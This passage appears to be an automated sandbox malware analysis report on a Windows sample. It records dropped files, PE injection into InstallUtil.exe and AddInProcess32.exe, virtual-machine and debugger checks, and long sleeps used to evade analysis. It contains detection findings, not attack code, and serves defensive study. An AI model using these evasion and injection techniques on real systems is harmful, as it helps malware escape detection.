Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\recover\olx.exe	Memory allocated: 20A7A850000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2870000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2A40000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4A40000 memory reserve \| memory write watch
Source: C:\recover\olx.exe	Memory allocated: 239EAE70000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 13B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 3350000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1A10000 memory reserve \| memory write watch

Contains long sleeps (>= 3 min)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Window / User API: threadDelayed 1016	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Window / User API: threadDelayed 720	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3412
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6350

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\authorization\authorization.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\axscript\axscript.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\vcomp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\libcurl.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\pythonwin\scintilla.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\internet\internet.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\recover.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\msvcp140_codecvt_ids.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\adsi\adsi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\bits\bits.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\propsys\propsys.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\msvcp140_atomic_wait.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\mapi\mapi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\ifilter\ifilter.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\msvcp140_2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\Qt5Quick3DUtils.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\shell\shell.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\Qt5Gui.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\pythonwin\win32uiole.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\Lib\site-packages\win32comext\directsound\directsound.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\pw\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Dropped PE file which has not been started: C:\recover\Utils.dll	Jump to dropped file

Found large amount of non-executed APIs

Source: C:\recover\olx.exe

API coverage: 3.5 %

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe TID: 7760	Thread sleep count: 1016 > 30	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe TID: 7760	Thread sleep count: 720 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1708	Thread sleep count: 35 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1708	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6176	Thread sleep count: 3412 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6176	Thread sleep count: 6350 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 2140	Thread sleep time: -922337203685477s >= -30000s

Queries disk information (often used to detect virtual machines)

Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe

File opened: PhysicalDrive0

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\recover\olx.exe

Code function: 15_2_00007FFB1C35A260 FindFirstFileExW,FindClose,wcscpy_s,_invalid_parameter_noinfo_noreturn,

15_2_00007FFB1C35A260

Source: C:\recover\olx.exe

Code function: 15_2_00007FFB0A661450 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessGroupAffinity,GetLastError,GetCurrentProcess,GetProcessAffinityMask,

15_2_00007FFB0A661450

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477

Source: Video.UI.exe, 00000004.00000002.2651513749.00000267A2CCC000.00000004.00000020.00020000.00000000.sdmp, Video.UI.exe, 00000004.00000002.2651215903.00000267A2C00000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process information queried: ProcessInformation

Anti Debugging

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\recover\olx.exe

Code function: 15_2_00007FF7769C46D4 memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_00007FF7769C46D4

Enables debug privileges

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process token adjusted: Debug

Source: C:\recover\olx.exe	Code function: 15_2_00007FF7769C46D4 memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00007FF7769C46D4
Source: C:\recover\olx.exe	Code function: 15_2_00007FF7769C487C SetUnhandledExceptionFilter,	15_2_00007FF7769C487C
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6B0F84 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00007FFB0A6B0F84
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C3A34B4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00007FFB1C3A34B4
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB23A445F8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00007FFB23A445F8
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB23A51BE4 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00007FFB23A51BE4
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB23A70468 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00007FFB23A70468
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6B0F84 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_00007FFB0A6B0F84

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe

Memory allocated: page read and write | page guard

Allocates memory in foreign processes

HIPS / PFW / Operating System Protection Evasion

Source: C:\recover\olx.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write
Source: C:\recover\olx.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
